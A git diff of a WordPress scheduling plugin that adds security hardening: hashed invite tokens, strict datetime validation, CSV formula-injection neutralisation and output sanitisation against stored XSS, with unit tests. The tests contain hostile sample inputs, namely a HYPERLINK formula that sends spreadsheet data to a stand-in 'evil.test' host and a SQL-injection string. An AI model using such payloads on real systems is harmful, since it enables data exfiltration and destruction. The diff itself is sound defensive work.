diff --git a/docs/features/account-registration.md b/docs/features/account-registration.md index 7c49b99..6819ece 100644 --- a/docs/features/account-registration.md +++ b/docs/features/account-registration.md @@ -18,7 +18,7 @@ Stored in the `us_registration_mode` option (default `invite`): |--------------------|------------------|--------------------------------------------------------| | `id` | BIGINT UNSIGNED | Primary key | | `email` | VARCHAR(191) | Invited email address | -| `token` | VARCHAR(64) | Opaque token embedded in the registration link | +| `token` | VARCHAR(64) | SHA-256 hash of the token embedded in the registration link (raw token is never stored) | | `role` | VARCHAR(32) | Role granted on acceptance (default `us_student`) | | `status` | VARCHAR(20) | `pending` / `accepted` / `revoked` | | `invited_by` | BIGINT UNSIGNED | WordPress user ID of the studio admin who invited | @@ -34,16 +34,16 @@ recorded in `us_policy_acceptances` with `registration_type = account` and `registration_id = `. ## Flow (invite mode) -1. Studio admin opens **Invites** (`manage_students`) and invites an email; an invite row is created with a token and a registration link. -2. The invitee opens `[us_student_register]` with the token (`?us_invite=`). +1. Studio admin opens **Invites** (`manage_students`) and invites an email; an invite row is created storing the token's SHA-256 hash, and the registration link (with the raw token) is shown **once** in a notice. To re-send a lost link, revoke and re-invite. +2. The invitee opens `[us_student_register]` with the token (`?us_invite=`); the lookup hashes the submitted token and matches it against the stored hash. 3. The form pre-fills the email and collects a display name and password, and renders the signup-scoped published policies, each with a required acceptance checkbox. -4. On submit, the token is re-validated; a `us_student` user is created, the policy acceptances are recorded (`account` type), the invite is marked `accepted`, and the user is logged in. +4. On submit, the token is re-validated (hashed lookup); a `us_student` user is created, the policy acceptances are recorded (`account` type), the invite is marked `accepted`, and the user is logged in. ## Admin Interface **Invites** in wp-admin (`manage_students`, studio admin only): - Select the **registration page** (the page hosting `[us_student_register]`), stored in the `us_registration_page_id` option; invitation links point there (falling back to the home page if unset) -- Invite an email (creates a pending invite + link) -- List pending invites; revoke an invite +- Invite an email (creates a pending invite; the link is displayed once, at creation only) +- List pending invites (email + invited date); revoke an invite ## Frontend Shortcode - `[us_student_register]` — the registration page. Shows the form for a valid pending invite; otherwise shows an "by invitation only" message (in `invite` mode). diff --git a/docs/features/availability-management.md b/docs/features/availability-management.md index 111001c..67fd52a 100644 --- a/docs/features/availability-management.md +++ b/docs/features/availability-management.md @@ -46,6 +46,12 @@ offering/duration before selecting a slot to register for. `GET` supports query params: `instructor_id`, `offering_id`, `duration_minutes`, `from` (datetime), `to` (datetime). +`POST` validates `start_dt`/`end_dt` (admin form and REST alike) via +`AvailabilitySlot::normalizeDateTime()`: the canonical `Y-m-d H:i[:s]` and HTML +`datetime-local` (`Y-m-d\TH:i[:s]`) forms are normalised to `Y-m-d H:i:s`; +anything else — or an end not after the start — is rejected (REST responds +`400 invalid_datetime`; the admin form is a no-op). + ## Implementation - Repository: `Unsupervised\Schedular\Availability\AvailabilityRepository` - Model: `Unsupervised\Schedular\Availability\AvailabilitySlot` diff --git a/docs/features/payment-reporting.md b/docs/features/payment-reporting.md index 4be963d..67b988a 100644 --- a/docs/features/payment-reporting.md +++ b/docs/features/payment-reporting.md @@ -54,6 +54,11 @@ and `instructor_id` query params as the page and returns `text/csv` with a `Content-Disposition: attachment` header. Instructor requests are scoped to their own rows regardless of `instructor_id`. +Fields that a spreadsheet would interpret as a formula (leading `=`, `+`, `-`, +`@`, tab, or CR — e.g. a hostile student display name) are prefixed with an +apostrophe so the export can never carry CSV formula injection into Excel or +Google Sheets. + ## Implementation - Report aggregator (pure totals + CSV): `Unsupervised\Schedular\Payment\PaymentReport` diff --git a/src/Auth/Invite.php b/src/Auth/Invite.php index a429e2f..c903761 100644 --- a/src/Auth/Invite.php +++ b/src/Auth/Invite.php @@ -22,6 +22,16 @@ class Invite { */ public const EXPIRY_DAYS = 14; + /** + * Hash a raw invitation token for storage and lookup. Only the hash is + * persisted, so a database leak (backup, SQL injection elsewhere) cannot be + * used to redeem pending invites; the raw token exists only in the emailed + * link and is shown to the admin once, at creation. + */ + public static function hashToken( string $rawToken ): string { + return hash( 'sha256', $rawToken ); + } + public function __construct( public readonly string $email, public readonly string $token, diff --git a/src/Auth/RegistrationController.php b/src/Auth/RegistrationController.php index 2bc1308..7ee70f0 100644 --- a/src/Auth/RegistrationController.php +++ b/src/Auth/RegistrationController.php @@ -17,8 +17,9 @@ class RegistrationController { wp_die( esc_html__( 'You do not have permission to manage invites.', 'unsupervised-schedular' ) ); } + $newInviteUrl = ''; if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_invite_action' ) ) { - $this->handleFormAction(); + $newInviteUrl = $this->handleFormAction(); } $pendingInvites = $this->invites->findPending(); @@ -28,7 +29,12 @@ class RegistrationController { include USC_PLUGIN_DIR . 'templates/admin/invites.php'; } - private function handleFormAction(): void { + /** + * Handle a posted admin action. Returns the registration link for a freshly + * created invite — the only time it can be shown, since just the token's hash + * is stored — or an empty string for every other action. + */ + private function handleFormAction(): string { // Nonce is verified by the caller (renderPage) before this method runs. // phpcs:disable WordPress.Security.NonceVerification.Missing $action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) ); @@ -45,13 +51,17 @@ class RegistrationController { && false === email_exists( $email ) && null === $this->invites->findPendingByEmail( $email ) ) { + $rawToken = wp_generate_password( 32, false ); + $this->invites->insert( new Invite( email: $email, - token: wp_generate_password( 32, false ), + token: Invite::hashToken( $rawToken ), invitedBy: get_current_user_id(), ) ); + + return $this->registrationLink( $rawToken ); } } @@ -62,5 +72,17 @@ class RegistrationController { } } // phpcs:enable WordPress.Security.NonceVerification.Missing + + return ''; + } + + /** + * Build the registration URL for a raw invite token. + */ + private function registrationLink( string $rawToken ): string { + $pageId = (int) get_option( self::OPTION_PAGE, 0 ); + $linkBase = $pageId > 0 ? (string) get_permalink( $pageId ) : ''; + + return add_query_arg( 'us_invite', rawurlencode( $rawToken ), '' !== $linkBase ? $linkBase : home_url( '/' ) ); } } diff --git a/src/Auth/RegistrationPage.php b/src/Auth/RegistrationPage.php index 8fc96a8..1e313cf 100644 --- a/src/Auth/RegistrationPage.php +++ b/src/Auth/RegistrationPage.php @@ -29,8 +29,9 @@ class RegistrationPage { } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- token identifies the invite; the form submit is nonce-checked below. - $token = sanitize_text_field( wp_unslash( $_REQUEST['us_invite'] ?? '' ) ); - $invite = '' !== $token ? $this->invites->findByToken( $token ) : null; + $token = sanitize_text_field( wp_unslash( $_REQUEST['us_invite'] ?? '' ) ); + // Only the token's hash is stored, so hash the submitted token for lookup. + $invite = '' !== $token ? $this->invites->findByToken( Invite::hashToken( $token ) ) : null; $error = ''; $success = false; diff --git a/src/Availability/AvailabilityController.php b/src/Availability/AvailabilityController.php index fdd3997..9e8d792 100644 --- a/src/Availability/AvailabilityController.php +++ b/src/Availability/AvailabilityController.php @@ -54,10 +54,10 @@ class AvailabilityController { private function addSlot( int $instructorId ): void { // phpcs:disable WordPress.Security.NonceVerification.Missing - $startDt = sanitize_text_field( wp_unslash( $_POST['start_dt'] ?? '' ) ); - $endDt = sanitize_text_field( wp_unslash( $_POST['end_dt'] ?? '' ) ); + $startDt = AvailabilitySlot::normalizeDateTime( sanitize_text_field( wp_unslash( $_POST['start_dt'] ?? '' ) ) ); + $endDt = AvailabilitySlot::normalizeDateTime( sanitize_text_field( wp_unslash( $_POST['end_dt'] ?? '' ) ) ); - if ( '' === $startDt || '' === $endDt ) { + if ( null === $startDt || null === $endDt || $endDt <= $startDt ) { return; } diff --git a/src/Availability/AvailabilityEndpoint.php b/src/Availability/AvailabilityEndpoint.php index 049ec4d..1398e67 100644 --- a/src/Availability/AvailabilityEndpoint.php +++ b/src/Availability/AvailabilityEndpoint.php @@ -120,10 +120,17 @@ class AvailabilityEndpoint { } } + $startDt = AvailabilitySlot::normalizeDateTime( (string) $request->get_param( 'start_dt' ) ); + $endDt = AvailabilitySlot::normalizeDateTime( (string) $request->get_param( 'end_dt' ) ); + + if ( null === $startDt || null === $endDt || $endDt <= $startDt ) { + return new \WP_Error( 'invalid_datetime', __( 'Provide a valid start and end, with the end after the start.', 'unsupervised-schedular' ), [ 'status' => 400 ] ); + } + $slot = new AvailabilitySlot( instructorId: $instructorId, - startDt: (string) $request->get_param( 'start_dt' ), - endDt: (string) $request->get_param( 'end_dt' ), + startDt: $startDt, + endDt: $endDt, durationMinutes: $duration > 0 ? $duration : 60, offeringId: $offeringId > 0 ? $offeringId : null, ); diff --git a/src/Availability/AvailabilitySlot.php b/src/Availability/AvailabilitySlot.php index e0afced..1a6df15 100644 --- a/src/Availability/AvailabilitySlot.php +++ b/src/Availability/AvailabilitySlot.php @@ -16,6 +16,25 @@ class AvailabilitySlot { public readonly ?int $id = null, ) {} + /** + * Normalise a submitted slot datetime to canonical `Y-m-d H:i:s`, or null when + * it is not a real datetime. Accepts the HTML `datetime-local` form + * (`Y-m-d\TH:i`, optionally with seconds) and the canonical form (optionally + * without seconds). Anything else — including strings PHP would "helpfully" + * coerce — is rejected so garbage never reaches the DATETIME column or throws + * inside the weekly-series date arithmetic. + */ + public static function normalizeDateTime( string $value ): ?string { + foreach ( [ 'Y-m-d H:i:s', 'Y-m-d H:i', 'Y-m-d\TH:i:s', 'Y-m-d\TH:i' ] as $format ) { + $dt = \DateTimeImmutable::createFromFormat( '!' . $format, $value ); + if ( false !== $dt && $dt->format( $format ) === $value ) { + return $dt->format( 'Y-m-d H:i:s' ); + } + } + + return null; + } + public static function fromRow( object $row ): self { return new self( instructorId: (int) $row->instructor_id, diff --git a/src/Payment/PaymentReport.php b/src/Payment/PaymentReport.php index 1739b84..a00222a 100644 --- a/src/Payment/PaymentReport.php +++ b/src/Payment/PaymentReport.php @@ -90,13 +90,22 @@ class PaymentReport { } /** - * Format one CSV record, quoting fields and escaping embedded quotes. + * Format one CSV record, quoting fields and escaping embedded quotes. Fields + * that a spreadsheet would interpret as a formula (leading =, +, -, @, tab, or + * CR — e.g. a hostile student display name) are prefixed with an apostrophe so + * they open as text, never as executable formulas. * * @param list $fields */ private function csvLine( array $fields ): string { $escaped = array_map( - static fn( string $field ): string => '"' . str_replace( '"', '""', $field ) . '"', + static function ( string $field ): string { + if ( 1 === preg_match( '/^[=+\-@\t\r]/', $field ) ) { + $field = "'" . $field; + } + + return '"' . str_replace( '"', '""', $field ) . '"'; + }, $fields ); diff --git a/src/Policy/PolicyEndpoint.php b/src/Policy/PolicyEndpoint.php index a82edaf..af546a6 100644 --- a/src/Policy/PolicyEndpoint.php +++ b/src/Policy/PolicyEndpoint.php @@ -97,7 +97,10 @@ class PolicyEndpoint { 'slug' => $policy->slug, 'policy_version_id' => $version->id, 'version_number' => $version->versionNumber, - 'body' => $version->body, + // Bodies are kses'd on every write path, but the booking JS renders + // this HTML raw — sanitise at output too so a missed write path can + // never become stored XSS. + 'body' => wp_kses_post( (string) $version->body ), ]; } diff --git a/templates/admin/invites.php b/templates/admin/invites.php index d2b335a..afb54a2 100644 --- a/templates/admin/invites.php +++ b/templates/admin/invites.php @@ -9,11 +9,19 @@ if (! defined('ABSPATH')) { * @var list<\Unsupervised\Schedular\Auth\Invite> $pendingInvites * @var int $registrationPageId * @var string $registrationPageUrl + * @var string $newInviteUrl One-time registration link for a just-created invite. */ ?>

-

+

+ + +
+

+

+
+

@@ -67,15 +75,13 @@ if (! defined('ABSPATH')) { - + - - token, $linkBase)); ?> email); ?> @@ -84,7 +90,7 @@ if (! defined('ABSPATH')) { - + createdAt); ?> diff --git a/templates/frontend/register-page.php b/templates/frontend/register-page.php index 8e18350..2fc8366 100644 --- a/templates/frontend/register-page.php +++ b/templates/frontend/register-page.php @@ -7,6 +7,7 @@ if (! defined('ABSPATH')) { /** * @var \Unsupervised\Schedular\Auth\Invite|null $invite + * @var string $token Raw invite token from the request (only its hash is stored). * @var bool $canRegister * @var bool $success * @var string $error @@ -25,7 +26,7 @@ if (! defined('ABSPATH')) { - +

diff --git a/tests/Unit/Auth/InviteTest.php b/tests/Unit/Auth/InviteTest.php index fe54d3f..42fa834 100644 --- a/tests/Unit/Auth/InviteTest.php +++ b/tests/Unit/Auth/InviteTest.php @@ -95,6 +95,16 @@ class InviteTest extends TestCase self::assertFalse($invite->isAcceptable('2026-06-02 09:00:00')); } + public function testHashTokenIsDeterministicSha256(): void + { + $hash = Invite::hashToken('raw-token'); + + self::assertSame(hash('sha256', 'raw-token'), $hash); + self::assertSame($hash, Invite::hashToken('raw-token')); + self::assertNotSame($hash, Invite::hashToken('other-token')); + self::assertSame(64, strlen($hash)); + } + public function testToArrayContainsExpectedKeys(): void { $arr = (new Invite('a@b.test', 'tok', id: 1))->toArray(); diff --git a/tests/Unit/Availability/AvailabilitySlotTest.php b/tests/Unit/Availability/AvailabilitySlotTest.php index 71b15e5..12ccf20 100644 --- a/tests/Unit/Availability/AvailabilitySlotTest.php +++ b/tests/Unit/Availability/AvailabilitySlotTest.php @@ -64,6 +64,26 @@ class AvailabilitySlotTest extends TestCase self::assertTrue($slot->isBooked); } + public function testNormalizeDateTimeAcceptsCanonicalAndDatetimeLocalForms(): void + { + self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01 09:00:00')); + self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01 09:00')); + self::assertSame('2026-04-01 09:00:00', AvailabilitySlot::normalizeDateTime('2026-04-01T09:00')); + self::assertSame('2026-04-01 09:00:30', AvailabilitySlot::normalizeDateTime('2026-04-01T09:00:30')); + } + + public function testNormalizeDateTimeRejectsGarbageAndImpossibleDates(): void + { + self::assertNull(AvailabilitySlot::normalizeDateTime('')); + self::assertNull(AvailabilitySlot::normalizeDateTime('not a date')); + self::assertNull(AvailabilitySlot::normalizeDateTime('next tuesday')); + self::assertNull(AvailabilitySlot::normalizeDateTime('2026-04-01')); + self::assertNull(AvailabilitySlot::normalizeDateTime('2026-13-01 09:00:00')); + self::assertNull(AvailabilitySlot::normalizeDateTime('2026-02-30 09:00:00')); + self::assertNull(AvailabilitySlot::normalizeDateTime('2026-04-01 25:00:00')); + self::assertNull(AvailabilitySlot::normalizeDateTime("2026-04-01 09:00:00'); DROP TABLE x;--")); + } + public function testToArrayContainsExpectedKeys(): void { $slot = new AvailabilitySlot(1, '2026-04-01 09:00:00', '2026-04-01 10:00:00', 30, 8, false, null, 10); diff --git a/tests/Unit/Payment/PaymentReportTest.php b/tests/Unit/Payment/PaymentReportTest.php index 671fe6b..de1e3c2 100644 --- a/tests/Unit/Payment/PaymentReportTest.php +++ b/tests/Unit/Payment/PaymentReportTest.php @@ -80,4 +80,22 @@ class PaymentReportTest extends TestCase self::assertStringContainsString('"Ada ""The Great"""', $csv); } + + public function testCsvNeutralisesFormulaInjectionInNames(): void + { + $rows = $this->rows(); + $rows[0]['student'] = '=HYPERLINK("https://evil.test/?"&A1,"total")'; + $rows[0]['instructor'] = '@SUM(A1)'; + $rows[1]['student'] = "+1+2"; + $rows[1]['instructor'] = "\tcmd"; + $csv = (new PaymentReport($rows))->toCsv(); + + self::assertStringContainsString('"\'=HYPERLINK(""https://evil.test/?""&A1,""total"")"', $csv); + self::assertStringContainsString('"\'@SUM(A1)"', $csv); + self::assertStringContainsString('"\'+1+2"', $csv); + self::assertStringContainsString("\"'\tcmd\"", $csv); + // Safe fields are untouched. + self::assertStringContainsString('"2026-06-02"', $csv); + self::assertStringContainsString('"100.00"', $csv); + } }